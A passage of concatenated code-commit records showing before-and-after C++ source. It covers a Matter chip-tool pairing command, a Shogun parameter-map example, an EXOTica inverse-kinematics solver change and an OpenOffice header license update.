CurrentCommissioner().DiscoverCommissionableNodes(filter);\n}\n\nCHIP_ERROR PairingCommand::Unpair(NodeId remoteId)\n{\n CHIP_ERROR err = CurrentCommissioner().UnpairDevice(remoteId);\n SetCommandExitStatus(err);\n return err;\n}\n\nvoid PairingCommand::OnStatusUpdate(DevicePairingDelegate::Status status)\n{\n switch (status)\n {\n case DevicePairingDelegate::Status::SecurePairingSuccess:\n ChipLogProgress(chipTool, \"Secure Pairing Success\");\n break;\n case DevicePairingDelegate::Status::SecurePairingFailed:\n ChipLogError(chipTool, \"Secure Pairing Failed\");\n break;\n }\n}\n\nvoid PairingCommand::OnPairingComplete(CHIP_ERROR err)\n{\n if (err == CHIP_NO_ERROR)\n {\n ChipLogProgress(chipTool, \"Pairing Success\");\n if (mPairingMode == PairingMode::QRCodePaseOnly || mPairingMode == PairingMode::ManualCodePaseOnly)\n {\n SetCommandExitStatus(err);\n }\n }\n else\n {\n ChipLogProgress(chipTool, \"Pairing Failure: %s\", ErrorStr(err));\n }\n\n if (err != CHIP_NO_ERROR)\n {\n SetCommandExitStatus(err);\n }\n}\n\nvoid PairingCommand::OnPairingDeleted(CHIP_ERROR err)\n{\n if (err == CHIP_NO_ERROR)\n {\n ChipLogProgress(chipTool, \"Pairing Deleted Success\");\n }\n else\n {\n ChipLogProgress(chipTool, \"Pairing Deleted Failure: %s\", ErrorStr(err));\n }\n\n SetCommandExitStatus(err);\n}\n\nvoid PairingCommand::OnCommissioningComplete(NodeId nodeId, CHIP_ERROR err)\n{\n if (err == CHIP_NO_ERROR)\n {\n ChipLogProgress(chipTool, \"Device commissioning completed with success\");\n }\n else\n {\n ChipLogProgress(chipTool, \"Device commissioning Failure: %s\", ErrorStr(err));\n }\n\n SetCommandExitStatus(err);\n}\n\nvoid PairingCommand::OnDiscoveredDevice(const chip::Dnssd::DiscoveredNodeData & nodeData)\n{\n \/\/ Ignore nodes with closed comissioning window\n VerifyOrReturn(nodeData.commissioningMode != 0);\n\n const uint16_t port = nodeData.port;\n char buf[chip::Inet::IPAddress::kMaxStringLength];\n nodeData.ipAddress[0].ToString(buf);\n ChipLogProgress(chipTool, \"Discovered Device: %s:%u\", buf, port);\n\n \/\/ Stop Mdns discovery. Is it the right method ?\n CurrentCommissioner().RegisterDeviceDiscoveryDelegate(nullptr);\n\n Inet::InterfaceId interfaceId = nodeData.ipAddress[0].IsIPv6LinkLocal() ? nodeData.interfaceId : Inet::InterfaceId::Null();\n PeerAddress peerAddress = PeerAddress::UDP(nodeData.ipAddress[0], port, interfaceId);\n CHIP_ERROR err = Pair(mNodeId, peerAddress);\n if (CHIP_NO_ERROR != err)\n {\n SetCommandExitStatus(err);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 2011 Heiko Strathmann\n * Copyright (C) 2011 Berlin Institute of Technology and Max-Planck-Society\n *\/\n\n#include <shogun\/base\/init.h>\n#include <shogun\/base\/ParameterMap.h>\n\nusing namespace shogun;\n\nvoid print_message(FILE* target, const char* str)\n{\n\tfprintf(target, \"%s\", str);\n}\n\nvoid print_value(CSGParamInfo* key, CParameterMap* map)\n{\n\tCSGParamInfo* current=map->get(key);\n\tSG_SPRINT(\"key: \");\n\tkey->print();\n\tSG_SPRINT(\"value: \");\n\n\tif (current)\n\t\tcurrent->print();\n\telse\n\t\tSG_SPRINT(\"no element\\n\");\n\n\tSG_SPRINT(\"\\n\");\n\n\tSG_UNREF(current);\n}\n\nint main(int argc, char **argv)\n{\n\tinit_shogun(&print_message, &print_message, &print_message);\n\n\tCParameterMap* map=new CParameterMap();\n\n\tEContainerType cfrom=CT_SCALAR;\n\tEContainerType cto=CT_MATRIX;\n\n\tEStructType sfrom=ST_NONE;\n\tEStructType sto=ST_STRING;\n\n\tEPrimitiveType pfrom=PT_BOOL;\n\tEPrimitiveType pto=PT_SGOBJECT;\n\n\tmap->put(new CSGParamInfo(\"1\", cfrom, sfrom, pfrom),\n\t\t\tnew CSGParamInfo(\"eins\", cto, sto, pto));\n\tmap->put(new CSGParamInfo(\"2\", cfrom, sfrom, pfrom),\n\t\t\tnew CSGParamInfo(\"zwei\", cto, sto, pto));\n\tmap->put(new CSGParamInfo(\"3\", cfrom, sfrom, pfrom),\n\t\t\tnew CSGParamInfo(\"drei\", cto, sto, pto));\n\tmap->put(new CSGParamInfo(\"4\", cfrom, sfrom, pfrom),\n\t\t\tnew CSGParamInfo(\"vier\", cto, sto, pto));\n\n\tCSGParamInfo* key;\n\n\tkey=new CSGParamInfo(\"1\", cfrom, sfrom, pfrom);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tkey=new CSGParamInfo(\"2\", cfrom, sfrom, pfrom);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tkey=new CSGParamInfo(\"2\", cto, sfrom, pfrom);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tkey=new CSGParamInfo(\"2\", cfrom, sto, pfrom);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tkey=new CSGParamInfo(\"2\", cfrom, sfrom, pto);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tkey=new CSGParamInfo(\"5\", cfrom, sfrom, pfrom);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tSG_UNREF(map);\n\n\texit_shogun();\n\n\treturn 0;\n}\n\n<commit_msg>applied changes in parameter map to example<commit_after>\/*\n * This program is free software; you can redistribute it and\/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 3 of the License, or\n * (at your option) any later version.\n *\n * Written (W) 2011 Heiko Strathmann\n * Copyright (C) 2011 Berlin Institute of Technology and Max-Planck-Society\n *\/\n\n#include <shogun\/base\/init.h>\n#include <shogun\/base\/ParameterMap.h>\n\nusing namespace shogun;\n\nvoid print_message(FILE* target, const char* str)\n{\n\tfprintf(target, \"%s\", str);\n}\n\nvoid print_value(CSGParamInfo* key, CParameterMap* map)\n{\n\tCSGParamInfo* current=map->get(key);\n\tkey->print_param_info();\n\tSG_SPRINT(\"value: \");\n\n\tif (current)\n\t\tcurrent->print_param_info();\n\telse\n\t\tSG_SPRINT(\"no element\\n\");\n\n\tSG_SPRINT(\"\\n\");\n\n\tSG_UNREF(current);\n}\n\nint main(int argc, char **argv)\n{\n\tinit_shogun(&print_message, &print_message, &print_message);\n\n\tCParameterMap* map=new CParameterMap();\n\n\tEContainerType cfrom=CT_SCALAR;\n\tEContainerType cto=CT_MATRIX;\n\n\tEStructType sfrom=ST_NONE;\n\tEStructType sto=ST_STRING;\n\n\tEPrimitiveType pfrom=PT_BOOL;\n\tEPrimitiveType pto=PT_SGOBJECT;\n\n\tmap->put(new CSGParamInfo(\"2\", cfrom, sfrom, pfrom),\n\t\t\tnew CSGParamInfo(\"zwei\", cto, sto, pto));\n\tmap->put(new CSGParamInfo(\"1\", cfrom, sfrom, pfrom),\n\t\t\tnew CSGParamInfo(\"eins\", cto, sto, pto));\n\tmap->put(new CSGParamInfo(\"4\", cfrom, sfrom, pfrom),\n\t\t\tnew CSGParamInfo(\"vier\", cto, sto, pto));\n\tmap->put(new CSGParamInfo(\"3\", cfrom, sfrom, pfrom),\n\t\t\tnew CSGParamInfo(\"drei\", cto, sto, pto));\n\n\tSG_SPRINT(\"before finalization:\\n\");\n\tmap->print_map();\n\tmap->finalize_map();\n\n\tSG_SPRINT(\"\\n\\nafter finalization:\\n\");\n\tmap->print_map();\n\n\tCSGParamInfo* key;\n\n\tSG_SPRINT(\"\\n\\ntesting map\\n\");\n\tkey=new CSGParamInfo(\"1\", cfrom, sfrom, pfrom);\n\tSG_REF(key);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tkey=new CSGParamInfo(\"2\", cfrom, sfrom, pfrom);\n\tSG_REF(key);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tkey=new CSGParamInfo(\"2\", cto, sfrom, pfrom);\n\tSG_REF(key);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tkey=new CSGParamInfo(\"2\", cfrom, sto, pfrom);\n\tSG_REF(key);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tkey=new CSGParamInfo(\"2\", cfrom, sfrom, pto);\n\tSG_REF(key);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tkey=new CSGParamInfo(\"5\", cfrom, sfrom, pfrom);\n\tSG_REF(key);\n\tprint_value(key, map);\n\tSG_UNREF(key);\n\n\tSG_UNREF(map);\n\n\texit_shogun();\n\n\treturn 0;\n}\n\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ Copyright (c) 2018-2020, University of Edinburgh, University of Oxford\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of nor the names of its contributors may be used to\n\/\/ endorse or promote products derived from this software without specific\n\/\/ prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\n#include <exotica_ik_solver\/ik_solver.h>\n\nREGISTER_MOTIONSOLVER_TYPE(\"IKSolver\", exotica::IKSolver)\n\nnamespace exotica\n{\nvoid IKSolver::SpecifyProblem(PlanningProblemPtr pointer)\n{\n if (pointer->type() != \"exotica::UnconstrainedEndPoseProblem\")\n {\n ThrowNamed(\"This IKSolver can't solve problem of type '\" << pointer->type() << \"'!\");\n }\n MotionSolver::SpecifyProblem(pointer);\n prob_ = std::static_pointer_cast<UnconstrainedEndPoseProblem>(pointer);\n\n W_inv_ = prob_->W.inverse();\n\n \/\/ Check dimension of W_ as this is a public member of the problem, and thus, can be edited by error.\n if (W_inv_.rows() != prob_->N || W_inv_.cols() != prob_->N)\n ThrowNamed(\"Size of W incorrect: (\" << W_inv_.rows() << \", \" << W_inv_.cols() << \"), when expected: (\" << prob_->N << \", \" << prob_->N << \")\");\n\n \/\/ Warn if deprecated MaxStep configuration detected:\n if (parameters_.MaxStep != 0.0 && GetNumberOfMaxIterations() != 1)\n WARNING_NAMED(\"IKSolver\", \"Deprecated configuration detected: MaxStep (given: \" << parameters_.MaxStep << \") only works if MaxIterations == 1 (given: \" << GetNumberOfMaxIterations() << \")\");\n\n \/\/ Set up backtracking line-search coefficients\n alpha_space_ = Eigen::VectorXd::LinSpaced(10, 1.0, 0.1);\n\n lambda_ = parameters_.RegularizationRate;\n th_stepinc_ = parameters_.ThresholdRegularizationIncrease;\n th_stepdec_ = parameters_.ThresholdRegularizationDecrease;\n\n th_stop_ = parameters_.GradientToleranceConvergenceThreshold;\n\n \/\/ Allocate variables\n q_.resize(prob_->N);\n qd_.resize(prob_->N);\n yd_.resize(prob_->cost.length_jacobian);\n cost_jacobian_.resize(prob_->cost.length_jacobian, prob_->N);\n J_pseudo_inverse_.resize(prob_->N, prob_->cost.length_jacobian);\n J_tmp_.resize(prob_->cost.length_jacobian, prob_->cost.length_jacobian);\n}\n\nvoid IKSolver::Solve(Eigen::MatrixXd& solution)\n{\n if (!prob_) ThrowNamed(\"Solver has not been initialized!\");\n\n Timer timer;\n\n prob_->ResetCostEvolution(GetNumberOfMaxIterations() + 1);\n lambda_ = parameters_.RegularizationRate;\n q_ = prob_->ApplyStartState();\n\n if (prob_->q_nominal.rows() == prob_->N)\n {\n WARNING(\"Nominal state regularization is no longer supported - please use a JointPose task-map.\");\n }\n\n int i;\n for (i = 0; i < GetNumberOfMaxIterations(); ++i)\n {\n prob_->Update(q_);\n error_ = prob_->GetScalarCost();\n prob_->SetCostEvolution(i, error_);\n\n \/\/ Absolute function tolerance check\n if (error_ < parameters_.Tolerance)\n {\n prob_->termination_criterion = TerminationCriterion::FunctionTolerance;\n break;\n }\n\n yd_.noalias() = prob_->cost.S * prob_->cost.ydiff;\n cost_jacobian_.noalias() = prob_->cost.S * prob_->cost.jacobian;\n\n \/\/ Weighted Regularized Pseudo-Inverse\n \/\/ J_pseudo_inverse_ = W_inv_ * cost_jacobian_.transpose() * ( cost_jacobian_ * W_inv_ * cost_jacobian_.transpose() + C_ ).inverse();\n\n bool decomposition_ok = false;\n while (!decomposition_ok)\n {\n J_tmp_.noalias() = cost_jacobian_ * W_inv_ * cost_jacobian_.transpose();\n J_tmp_.diagonal().array() += lambda_; \/\/ Add regularisation\n J_decomposition_.compute(J_tmp_);\n if (J_decomposition_.info() != Eigen::Success)\n {\n IncreaseRegularization();\n if (lambda_ > parameters_.MaximumRegularization)\n {\n WARNING(\"Divergence in Cholesky decomposition :-(\");\n prob_->termination_criterion = TerminationCriterion::Divergence;\n break;\n }\n \/\/ ThrowPretty(\"Error during matrix decomposition of J_tmp_ (lambda=\" << lambda_ << \"):\\n\"\n \/\/ << J_tmp_);\n }\n else\n {\n decomposition_ok = true;\n }\n }\n J_tmp_.noalias() = J_decomposition_.solve(Eigen::MatrixXd::Identity(prob_->cost.length_jacobian, prob_->cost.length_jacobian)); \/\/ Inverse\n J_pseudo_inverse_.noalias() = W_inv_ * cost_jacobian_.transpose() * J_tmp_;\n\n qd_.noalias() = J_pseudo_inverse_ * yd_;\n\n \/\/ Support for a maximum step, e.g., when used as real-time, interactive IK\n if (GetNumberOfMaxIterations() == 1 && parameters_.MaxStep != 0.0)\n {\n ScaleToStepSize(qd_);\n }\n\n \/\/ Line search\n for (int ai = 0; ai < alpha_space_.size(); ++ai)\n {\n steplength_ = alpha_space_(ai);\n Eigen::VectorXd q_tmp = q_ - steplength_ * qd_;\n prob_->Update(q_tmp);\n if (prob_->GetScalarCost() < error_)\n {\n q_ = q_tmp;\n qd_ *= steplength_;\n break;\n }\n }\n\n \/\/ Step tolerance parameter\n step_ = qd_.squaredNorm();\n\n \/\/ Gradient tolerance\n stop_ = cost_jacobian_.norm();\n\n \/\/ Debug output\n if (debug_) PrintDebug(i);\n\n \/\/ Check step tolerance\n if (step_ < parameters_.StepToleranceConvergenceThreshold)\n {\n prob_->termination_criterion = TerminationCriterion::StepTolerance;\n break;\n }\n\n \/\/ Check gradient tolerance (convergence)\n if (stop_ < parameters_.GradientToleranceConvergenceThreshold)\n {\n prob_->termination_criterion = TerminationCriterion::GradientTolerance;\n break;\n }\n\n \/\/ Adapt regularization based on step-length\n if (steplength_ > th_stepdec_)\n {\n DecreaseRegularization();\n }\n if (steplength_ <= th_stepinc_)\n {\n IncreaseRegularization();\n if (lambda_ == regmax_)\n {\n prob_->termination_criterion = TerminationCriterion::Divergence;\n break;\n }\n }\n }\n\n \/\/ Check if we ran out of iterations\n if (i == GetNumberOfMaxIterations())\n {\n prob_->termination_criterion = TerminationCriterion::IterationLimit;\n }\n else\n {\n if (debug_) PrintDebug(i);\n }\n\n if (debug_)\n {\n switch (prob_->termination_criterion)\n {\n case TerminationCriterion::GradientTolerance:\n HIGHLIGHT_NAMED(\"IKSolver\", \"Reached convergence (\" << std::scientific << stop_ << \" < \" << parameters_.GradientToleranceConvergenceThreshold << \")\");\n break;\n case TerminationCriterion::FunctionTolerance:\n HIGHLIGHT_NAMED(\"IKSolver\", \"Reached absolute function tolerance (\" << std::scientific << error_ << \" < \" << parameters_.Tolerance << \")\");\n break;\n case TerminationCriterion::StepTolerance:\n HIGHLIGHT_NAMED(\"IKSolver\", \"Reached step tolerance (\" << std::scientific << step_ << \" < \" << parameters_.StepToleranceConvergenceThreshold << \")\");\n break;\n case TerminationCriterion::Divergence:\n WARNING_NAMED(\"IKSolver\", \"Regularization exceeds maximum regularization: \" << lambda_ << \" > \" << regmax_);\n break;\n case TerminationCriterion::IterationLimit:\n HIGHLIGHT_NAMED(\"IKSolver\", \"Reached iteration limit.\");\n break;\n\n default:\n break;\n }\n }\n\n solution.resize(1, prob_->N);\n solution.row(0) = q_.transpose();\n planning_time_ = timer.GetDuration();\n}\n\nvoid IKSolver::ScaleToStepSize(Eigen::VectorXdRef xd)\n{\n const double max_vel = xd.cwiseAbs().maxCoeff();\n if (max_vel > parameters_.MaxStep)\n {\n xd = xd * parameters_.MaxStep \/ max_vel;\n }\n}\n} \/\/ namespace exotica\n<commit_msg>[exotica_ik_solver] Do not exit for high regularisation<commit_after>\/\/\n\/\/ Copyright (c) 2018-2020, University of Edinburgh, University of Oxford\n\/\/ All rights reserved.\n\/\/\n\/\/ Redistribution and use in source and binary forms, with or without\n\/\/ modification, are permitted provided that the following conditions are met:\n\/\/\n\/\/ * Redistributions of source code must retain the above copyright notice,\n\/\/ this list of conditions and the following disclaimer.\n\/\/ * Redistributions in binary form must reproduce the above copyright\n\/\/ notice, this list of conditions and the following disclaimer in the\n\/\/ documentation and\/or other materials provided with the distribution.\n\/\/ * Neither the name of nor the names of its contributors may be used to\n\/\/ endorse or promote products derived from this software without specific\n\/\/ prior written permission.\n\/\/\n\/\/ THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\n\/\/ AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\n\/\/ IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\n\/\/ ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE\n\/\/ LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\n\/\/ CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\n\/\/ SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\n\/\/ INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\n\/\/ CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n\/\/ ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\n\/\/ POSSIBILITY OF SUCH DAMAGE.\n\/\/\n\n#include <exotica_ik_solver\/ik_solver.h>\n\nREGISTER_MOTIONSOLVER_TYPE(\"IKSolver\", exotica::IKSolver)\n\nnamespace exotica\n{\nvoid IKSolver::SpecifyProblem(PlanningProblemPtr pointer)\n{\n if (pointer->type() != \"exotica::UnconstrainedEndPoseProblem\")\n {\n ThrowNamed(\"This IKSolver can't solve problem of type '\" << pointer->type() << \"'!\");\n }\n MotionSolver::SpecifyProblem(pointer);\n prob_ = std::static_pointer_cast<UnconstrainedEndPoseProblem>(pointer);\n\n W_inv_ = prob_->W.inverse();\n\n \/\/ Check dimension of W_ as this is a public member of the problem, and thus, can be edited by error.\n if (W_inv_.rows() != prob_->N || W_inv_.cols() != prob_->N)\n ThrowNamed(\"Size of W incorrect: (\" << W_inv_.rows() << \", \" << W_inv_.cols() << \"), when expected: (\" << prob_->N << \", \" << prob_->N << \")\");\n\n \/\/ Warn if deprecated MaxStep configuration detected:\n if (parameters_.MaxStep != 0.0 && GetNumberOfMaxIterations() != 1)\n WARNING_NAMED(\"IKSolver\", \"Deprecated configuration detected: MaxStep (given: \" << parameters_.MaxStep << \") only works if MaxIterations == 1 (given: \" << GetNumberOfMaxIterations() << \")\");\n\n \/\/ Set up backtracking line-search coefficients\n alpha_space_ = Eigen::VectorXd::LinSpaced(10, 1.0, 0.1);\n\n lambda_ = parameters_.RegularizationRate;\n th_stepinc_ = parameters_.ThresholdRegularizationIncrease;\n th_stepdec_ = parameters_.ThresholdRegularizationDecrease;\n\n th_stop_ = parameters_.GradientToleranceConvergenceThreshold;\n\n \/\/ Allocate variables\n q_.resize(prob_->N);\n qd_.resize(prob_->N);\n yd_.resize(prob_->cost.length_jacobian);\n cost_jacobian_.resize(prob_->cost.length_jacobian, prob_->N);\n J_pseudo_inverse_.resize(prob_->N, prob_->cost.length_jacobian);\n J_tmp_.resize(prob_->cost.length_jacobian, prob_->cost.length_jacobian);\n}\n\nvoid IKSolver::Solve(Eigen::MatrixXd& solution)\n{\n if (!prob_) ThrowNamed(\"Solver has not been initialized!\");\n\n Timer timer;\n\n prob_->ResetCostEvolution(GetNumberOfMaxIterations() + 1);\n lambda_ = parameters_.RegularizationRate;\n q_ = prob_->ApplyStartState();\n\n if (prob_->q_nominal.rows() == prob_->N)\n {\n WARNING(\"Nominal state regularization is no longer supported - please use a JointPose task-map.\");\n }\n\n int i;\n for (i = 0; i < GetNumberOfMaxIterations(); ++i)\n {\n prob_->Update(q_);\n error_ = prob_->GetScalarCost();\n prob_->SetCostEvolution(i, error_);\n\n \/\/ Absolute function tolerance check\n if (error_ < parameters_.Tolerance)\n {\n prob_->termination_criterion = TerminationCriterion::FunctionTolerance;\n break;\n }\n\n yd_.noalias() = prob_->cost.S * prob_->cost.ydiff;\n cost_jacobian_.noalias() = prob_->cost.S * prob_->cost.jacobian;\n\n \/\/ Weighted Regularized Pseudo-Inverse\n \/\/ J_pseudo_inverse_ = W_inv_ * cost_jacobian_.transpose() * ( cost_jacobian_ * W_inv_ * cost_jacobian_.transpose() + C_ ).inverse();\n\n bool decomposition_ok = false;\n while (!decomposition_ok)\n {\n J_tmp_.noalias() = cost_jacobian_ * W_inv_ * cost_jacobian_.transpose();\n J_tmp_.diagonal().array() += lambda_; \/\/ Add regularisation\n J_decomposition_.compute(J_tmp_);\n if (J_decomposition_.info() != Eigen::Success)\n {\n IncreaseRegularization();\n if (lambda_ > parameters_.MaximumRegularization)\n {\n WARNING(\"Divergence in Cholesky decomposition :-(\");\n prob_->termination_criterion = TerminationCriterion::Divergence;\n break;\n }\n \/\/ ThrowPretty(\"Error during matrix decomposition of J_tmp_ (lambda=\" << lambda_ << \"):\\n\"\n \/\/ << J_tmp_);\n }\n else\n {\n decomposition_ok = true;\n }\n }\n J_tmp_.noalias() = J_decomposition_.solve(Eigen::MatrixXd::Identity(prob_->cost.length_jacobian, prob_->cost.length_jacobian)); \/\/ Inverse\n J_pseudo_inverse_.noalias() = W_inv_ * cost_jacobian_.transpose() * J_tmp_;\n\n qd_.noalias() = J_pseudo_inverse_ * yd_;\n\n \/\/ Support for a maximum step, e.g., when used as real-time, interactive IK\n if (GetNumberOfMaxIterations() == 1 && parameters_.MaxStep != 0.0)\n {\n ScaleToStepSize(qd_);\n }\n\n \/\/ Line search\n for (int ai = 0; ai < alpha_space_.size(); ++ai)\n {\n steplength_ = alpha_space_(ai);\n Eigen::VectorXd q_tmp = q_ - steplength_ * qd_;\n prob_->Update(q_tmp);\n if (prob_->GetScalarCost() < error_)\n {\n q_ = q_tmp;\n qd_ *= steplength_;\n break;\n }\n }\n\n \/\/ Step tolerance parameter\n step_ = qd_.squaredNorm();\n\n \/\/ Gradient tolerance\n stop_ = cost_jacobian_.norm();\n\n \/\/ Debug output\n if (debug_) PrintDebug(i);\n\n \/\/ Check step tolerance\n if (step_ < parameters_.StepToleranceConvergenceThreshold)\n {\n prob_->termination_criterion = TerminationCriterion::StepTolerance;\n break;\n }\n\n \/\/ Check gradient tolerance (convergence)\n if (stop_ < parameters_.GradientToleranceConvergenceThreshold)\n {\n prob_->termination_criterion = TerminationCriterion::GradientTolerance;\n break;\n }\n\n \/\/ Adapt regularization based on step-length\n if (steplength_ > th_stepdec_)\n {\n DecreaseRegularization();\n }\n if (steplength_ <= th_stepinc_)\n {\n IncreaseRegularization();\n \/\/ if (lambda_ == regmax_)\n \/\/ {\n \/\/ prob_->termination_criterion = TerminationCriterion::Divergence;\n \/\/ break;\n \/\/ }\n }\n }\n\n \/\/ Check if we ran out of iterations\n if (i == GetNumberOfMaxIterations())\n {\n prob_->termination_criterion = TerminationCriterion::IterationLimit;\n }\n else\n {\n if (debug_) PrintDebug(i);\n }\n\n if (debug_)\n {\n switch (prob_->termination_criterion)\n {\n case TerminationCriterion::GradientTolerance:\n HIGHLIGHT_NAMED(\"IKSolver\", \"Reached convergence (\" << std::scientific << stop_ << \" < \" << parameters_.GradientToleranceConvergenceThreshold << \")\");\n break;\n case TerminationCriterion::FunctionTolerance:\n HIGHLIGHT_NAMED(\"IKSolver\", \"Reached absolute function tolerance (\" << std::scientific << error_ << \" < \" << parameters_.Tolerance << \")\");\n break;\n case TerminationCriterion::StepTolerance:\n HIGHLIGHT_NAMED(\"IKSolver\", \"Reached step tolerance (\" << std::scientific << step_ << \" < \" << parameters_.StepToleranceConvergenceThreshold << \")\");\n break;\n case TerminationCriterion::Divergence:\n WARNING_NAMED(\"IKSolver\", \"Regularization exceeds maximum regularization: \" << lambda_ << \" > \" << regmax_);\n break;\n case TerminationCriterion::IterationLimit:\n HIGHLIGHT_NAMED(\"IKSolver\", \"Reached iteration limit.\");\n break;\n\n default:\n break;\n }\n }\n\n solution.resize(1, prob_->N);\n solution.row(0) = q_.transpose();\n planning_time_ = timer.GetDuration();\n}\n\nvoid IKSolver::ScaleToStepSize(Eigen::VectorXdRef xd)\n{\n const double max_vel = xd.cwiseAbs().maxCoeff();\n if (max_vel > parameters_.MaxStep)\n {\n xd = xd * parameters_.MaxStep \/ max_vel;\n }\n}\n} \/\/ namespace exotica\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: swuipardlg.hxx,v $\n *\n * $Revision: 1.4 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 10:06:05 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n#ifndef _SWUI_PARDLG_HXX\n#define _SWUI_PARDLG_HXX\n#include \"pardlg.hxx\"\n\nclass SwParaDlg: public SfxTabDialog\n{\n SwView& rView;\n USHORT nHtmlMode;\n BYTE nDlgMode;\n BOOL bDrawParaDlg;\n\n void PageCreated(USHORT nID, SfxTabPage& rPage);\n\npublic:\n SwParaDlg( Window *pParent,\n SwView& rVw,\n const SfxItemSet&,\n BYTE nDialogMode,\n const String *pCollName = 0,\n BOOL bDraw = FALSE,\n UINT16 nDefPage = 0);\n ~SwParaDlg();\n};\n\n#endif\n<commit_msg>INTEGRATION: CWS changefileheader (1.4.1202); FILE MERGED 2008\/03\/31 16:58:40 rt 1.4.1202.1: #i87441# Change license header to LPGL v3.<commit_after>\/*************************************************************************\n *\n * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.\n *\n * Copyright 2008 by Sun Microsystems, Inc.\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: swuipardlg.hxx,v $\n * $Revision: 1.5 $\n *\n * This file is part of OpenOffice.org.\n *\n * OpenOffice.org is free software: you can redistribute it and\/or modify\n * it under the terms of the GNU Lesser General Public License version 3\n * only, as published by the Free Software Foundation.\n *\n * OpenOffice.org is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU Lesser General Public License version 3 for more details\n * (a copy is included in the LICENSE file that accompanied this code).\n *\n * You should have received a copy of the GNU Lesser General Public License\n * version 3 along with OpenOffice.org. If not, see\n * <http:\/\/www.openoffice.org\/license.html>\n * for a copy of the LGPLv3 License.\n *\n ************************************************************************\/\n#ifndef _SWUI_PARDLG_HXX\n#define _SWUI_PARDLG_HXX\n#include \"pardlg.hxx\"\n\nclass SwParaDlg: public SfxTabDialog\n{\n SwView& rView;\n USHORT nHtmlMode;\n BYTE nDlgMode;\n BOOL bDrawParaDlg;\n\n void PageCreated(USHORT nID, SfxTabPage& rPage);\n\npublic:\n SwParaDlg( Window *pParent,\n SwView& rVw,\n const 